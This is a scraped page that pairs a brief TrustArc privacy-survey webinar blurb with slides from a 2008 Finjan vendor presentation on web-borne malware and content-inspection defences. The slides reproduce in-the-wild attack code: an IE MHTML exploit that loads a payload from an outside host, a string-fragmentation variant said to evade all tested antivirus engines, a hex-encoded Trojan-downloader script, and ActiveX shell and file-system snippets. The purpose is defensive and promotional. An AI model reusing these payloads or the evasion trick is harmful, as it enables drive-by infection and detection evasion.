TrustArc Webinar - 2024 Global Privacy SurveyTrustArc
How does your privacy program stack up against your peers? What challenges are privacy teams tackling and prioritizing in 2024?
In the fifth annual Global Privacy Benchmarks Survey, we asked over 1,800 global privacy professionals and business executives to share their perspectives on the current state of privacy inside and outside of their organizations. This year’s report focused on emerging areas of importance for privacy and compliance professionals, including considerations and implications of Artificial Intelligence (AI) technologies, building brand trust, and different approaches for achieving higher privacy competence scores.
See how organizational priorities and strategic approaches to data security and privacy are evolving around the globe.
This webinar will review:
- The top 10 privacy insights from the fifth annual Global Privacy Benchmarks Survey
- The top challenges for privacy leaders, practitioners, and organizations in 2024
- Key themes to consider in developing and maintaining your privacy program
1. Chicago AITP – November 10, 2008 Devising a Strategy to Mitigate Malware Joann K. Davis (O) 847.304.1892 (C) 847.769.3018 [email_address]
2. This presentation may contain images of websites which have been found to have served web content with embedded crimeware. The depicted reputable websites are NOT part of the crimeware problem described herein. They are in fact targets and victims of the new and sophisticated schemes employed by criminals in the distribution of crimeware that we see emerging today. This presentation uses Finjan as an EXAMPLE of Proactive Web Content Inspection technology and the MCRC as an EXAMPLE of Security Vendor research labs. Disclaimers
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5. McAfee : the number of keyloggers increased by 250% between January 2004 and May 2006. Phishing attacks increased by 100% only. Symantec : 4.7 million distinct computers are actively used in botnets to spit out spam, launch DoS (denial of service) attacks, install malware or log keystrokes for identity theft Sophos : Researchers are finding 29,700 new infected Web pages every day, and 80% of them are legitimate sites that have been compromised Microsoft : the Malicious Software Removal Tool (MSRT) has removed at least one Trojan from about 3.5 million unique computers. Of the 5.7 million infected Windows machines, about 62 percent was found with a Trojan or bot FBI : Over One Million victim computers are being actively used for botnets. Growth of Cybercrime Source: AV-Test Labs
10. Anatomy of a ‘Drop-Site’ Server Review Stolen Information via Web Interface – Command and Control Attack Campaigns target specific groups, regions, and type of data. Logs are grouped by Country. Data is gathered as text and graphic images.
25. A Drive-By Attack An Innocent Free Game Website Simply visit this site to get infected. There is no need to click a link, download or install any software (at least that you are aware of).
26. A Drive-By Attack An Innocent Free Game Website Exploits our desktop to install a Trojan
27. A Drive-By Attack Each user session receives a different signature for the same exploit Dynamic Code Obfuscation
37. Example of Malware using Fragmentation Original malicious page found in the wild Exploiting a well-known exploit of Internet Explorer described on: CVE-2004-0380 and MS04-013 Exploit <html><head></head> <body> <script> try{ document.write('<object data="&#'+109+';s-its:mhtml'+':'+'file://C:nosuch.mht! http://troyanov.net/001/chm/targ.chm ::/target.htm" type="text/x-scriptlet"></object>'); catch(e){} </script></body></html>
38. Detected by some AV Engines 9 out of 29 Anti-viruses successfully detected the known malicious code ( www.virustotal.com)
39. Basic Code Modification Techniques Original malicious page found in the wild – “modified” Without changing the malicious code exploiting IE, we added a simple Javascript command that just add a dummy string. Will the Anti-Virus detect the malicious code….? Added string Fragmented string <html><head></head> <body <script> try{ document.write(‘dummy string’); document.write('<object data="&#'+109+';s-its:m' + 'h' + 't' + 'ml'+':'+'fi' + 'le://C:nosuch.m' + + 'ht! http://troyanov.net/001/chm/targ.chm ::/target.htm" type="text/x-scriptlet"></object>'); catch(e){} </script></body></html>
40. Circumnavigates Signatures and Heuristics 0 out of 29 Anti-viruses detected the known malicious code ( www.virustotal.com)
41. How Does It Work? Finjan Vital Security TM NG <script> Document.write(“ BAD ”); </script> <script> Document.write(“ BA ” + “ D ”); </script> URL Filter Anti- Virus “ BAD ” Internet “ x.com ” Real-time Content Inspection Real-time content inspection technology determines the intent of the script and does not depend upon signatures or reputation of source. Crimeware is embedded in the web page, often unknown to even source servers of high reputation. Malicious code is blocked at the gateway protecting your system from harm. An employee points his browser to “ x.com” . For business productivity reasons, this site may be blocked. An employee points her browser to “ neededforwork.com” . AV software performs a database scan to match signatures of known malicious code. In this case, a match is found. Crimeware, even the still unknown threat, is blocked at the gateway protecting your system from harm. Just seconds later, a request to the same server eludes traditional signature-based detection via dynamic obfuscation techniques. Simple string fragmentation and code obfuscation techniques are used to evade signature-based protection mechanisms. By deconstructing the code to its constituent algorithms, scanner determines the mobile code’s true intent.
42. Life Without Content Inspection Finjan Vital Security TM NG URL Filter Anti- Virus “ BAD ” Internet “ x.com ” Real-time Content Inspection <script> Document.write(“ BA ” + “ D ”); </script> Crimeware has infiltrated your environment. It executes with the same level of authorization as the user who accessed the infected web page. What information is available to that person and now the crimeware? Personnel Information Account Information Intellectual Property Trade Secrets Customer Information Userids/Passwords Financial Reports Customer Lists Payroll Data … Is this Information valuable to you? What could happen without scanning?
44. Reactive vs. Proactive Conventional Products Protect Against Known Attacks FW , AV, IPS / IDS, URL Next Generation Real-Time Content Inspection Java applet HTML EXE Java Script VB Script ActiveX Mobile Code Layer
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46. Web Security Violation Breakdown – Sample Audit Block Access to Spyware Sites Block Application Level Vulnerabilities Block Malicious Scripts by Behavior Block Malicious ActiveX, Java Applets and Executables Block Binary Exploits in Textual Files Block Known Viruses (Kaspersky) White List No Behavior Based Scanning Block Files with Suspicious Multiple Extensions Block Access to Blacklisted URLs Block Spoofed Content Block Potentially Malicious Archives Block Binary Objects with Invalid Digital Certificate Block Microsoft Office Documents containing Macros and/or Embedded Files Block Access to Adware Sites Block IM Tunneling 14,897 8,344 2,500 967 846 781 500 487 392 303 201 168 104 4 1
47. Example - Malicious Behavior Detected behavior: Obfuscated Script URL: www.xrteam.com Code Sample <body>< script>function xy1q487ded85e3648(q487ded85e3e18){ return (parseInt(q487ded85e3e18,16));}function q487ded85e5588(q487ded85e5d59){ var q487ded85e652f='';q487ded85e846c=String.fromCharCode;for(q487ded85e6cf7=0;q487ded85e6cf7<q487ded85e5d59.length;q487ded85e6cf7+=2){ q487ded85e652f+=(q487ded85e846c(xy1q487ded85e3648(q487ded85e5d59.substr(q487ded85e6cf7,2))));}return q487ded85e652f;} var q487ded85e8c35='3C7363726970743E696628216D796961297B646F63756D656E742E777269746528756E657363617065282027253363253639253636253732253631253664253635253230253733253732253633253364253237253638253734253734253730253361253266253266253734253732253735253635253732253639253665253637253734253666253665253635253733253265253665253635253734253266253733253635253631253732253633253638253265253633253637253639253366253632253631253631253637253639253732253663262532372532622534642536312537342536382532652537322536662537352536652536342532382534642536312537342536382532652537322536312536652536342536662536642532382532392532612533322533312533302533362533382532392532622532372536332536332536322533372533382536352533372532372532302537372536392536342537342536382533642533342533362532302536382536352536392536372536382537342533642533342533352533382532302537332537342537392536632536352533642532372536342536392537332537302536632536312537392533612532302536652536662536652536352532372533652533632532662536392536362537322536312536642536352533652729293B7D766172206D7969613D747275653B3C2F7363726970743E';document.write(q487ded85e5588(q487ded85e8c35));</script> <table width="790" border="0" align="center" cellpadding="0" cellspacing="0"> Impact: Attempts to download a Trojan to the desktop (Trojan-Downloader.JS.Agent.ciw )
48. Malware Example – File Create URL: http://www.nestle.com/js/WebTrends.js?lwt=8CA0EA3034E6FD4 Code Sample n = external.menuArguments; var wsh = new ActiveXObject ("WScript.Shell"); var fso = new ActiveXObject(" Scripting.FileSystemObject "); var tempfolder = fso.GetSpecialFolder(2); var filename = tempfolder.path + "" + fso.GetTempName(); var file Impact: The FileSystemObject object allows a complete control on the local machine disk. The object supports File Read/Write/Create/Delete/Rename/Copy/Query. By using this object, the end-user machine is compromised.
49. Malware Example – File Write URL: http://www.talentplusspotlight.com/admin/htmlarea/editor.js Code Sample heckDocument() { oShell= new ActiveXObject("WScript.Shell"); oShell.SendKeys( "^c" ); // copy oWord = new ActiveXObject ("Word.Application"); oWord.Documents.Add(); oWord.Selection.Paste(); oWord.ActiveDocument.CheckSpelling(); oWord.Selec Impact: The FileSystemObject object allows a complete control on the local machine disk. The object supports File Read/Write/Create/Delete/Rename/Copy/Query. By using this object, the end-user machine is compromised.
50. Malware Example – File Query URL: http://www.nestle.com/js/WebTrends.js?lwt=8CA0EA3034E6FD4 Code Sample veXObject("WScript.Shell"); var fso = new ActiveXObject (" Scripting.FileSystemObject "); var tempfolder = fso. GetSpecialFolder (2); var filename = tempfolder.path + "" + fso.GetTempName(); var file = fso.CreateTextFile(filename, true, true); fi Impact: The FileSystemObject object allows a complete control on the local machine disk. The object supports File Read/Write/Create/Delete/Rename/Copy/Query. By using this object, the end-user machine is compromised.
51. Malware Example – Create Process URL: http://www.talentplusspotlight.com/admin/htmlarea/editor.js Code Sample heckDocument() { oShell= new ActiveXObject(" WScript.Shell "); oShell.SendKeys( "^c" ); // copy oWord = new ActiveXObject("Word.Application"); oWord.Documents.Add(); oWord.Selection.Paste(); oWord.ActiveDocument.CheckSpelling(); oWord.Selec Impact: The WSript.Shell object provides functions to run a program locally, manipulate the contents of the registry, create a shortcut, access to system folder and environment variables, work with the registry and manage shortcuts. By using this object the end-user machine is compromised.
52. Malware Example – Clipboard Vulnerability Detected behavior: IE Unauthorized Clipboard Contents Disclosure Vulnerability URL: http://www.hrci.org/dzapps/docs/htmlarea/editor.js Code Sample else if (cmdID.toLowerCase() == ' paste ') { editdoc. execCommand ('Paste'); var str=editdoc.body. createTextRange ().htmlText; if (str.indexOf("; mso-")>=0 ||str.indexOf("<v:")>=0 ||str.indexOf('class="Mso')>=0){ myclean(editdoc); } editdoc.body.innerHT Impact: This vulnerability could permit scripting operations to gain access to clipboard contents. This issue employs the execCommand('Paste') method to copy clipboard contents into small (or hidden) textarea. In this manner, security checks performed by the browser are bypassed and the clipboard contents will be copied.
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54. Example of Potentially Malicious Behavior Detected behavior: IE Shell.Application Object Script Execution Vulnerability URL: http://b.adserv.cn/E/J.JS Code Sample lbEFl0X].substring(1,z1IlbpFl0X[z1IlbEFl0X].length-1));if(z1IlbFFl0X){try{varz1IlcvFl0X=x0r1aW2Z(z1IlbFFl0X," Shell.Application ");if(z1IlcvFl0X){z1IlctFl0X=z1IlEFl0X(z1IlbFFl0X);returnz1IlctFl0X;}}catch(e){}}z1IlbEFl0X++;}returnfalse;} Malicious Behavior: The Shell object represents the objects in the Windows Shell. This object expose methods which provides abilities to: Open, explore, and browse for folders; Minimize, restore, cascade, or tile open windows; Launch Control Panel applications; Display system dialog boxes. By using this object, the end-user machine is compromised.
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56. Web Monitor module The results of the scan (“ok” or “bad”) are returned to the Web Monitor module where next step processing may include notifying Administrators via Email of the discovery of malicious content on your website. Finjan Vital Security TM NG plus Anti-Virus A Web Monitor Module is configured to automatically scan web pages served by your company. If these pages are found to have been compromised by malicious content, an alert will be sent. Note: the Web Monitor module is custom code . The Web Monitor Module issues an HTTP GET request for every URL your company serves or only those you wish to scan. Besides being able to monitor the uptime and response time of your web servers, it will scan for crimeware. Using a combination of Anti-Virus and real-time content inspection technologies, the page is scanned for malicious content… Monitoring Your Web Servers
This is a product presentation You should use this presentation after explaining Finjan’s value proposition and company background If you need some slides to better explain the problem, use the MCRC presentation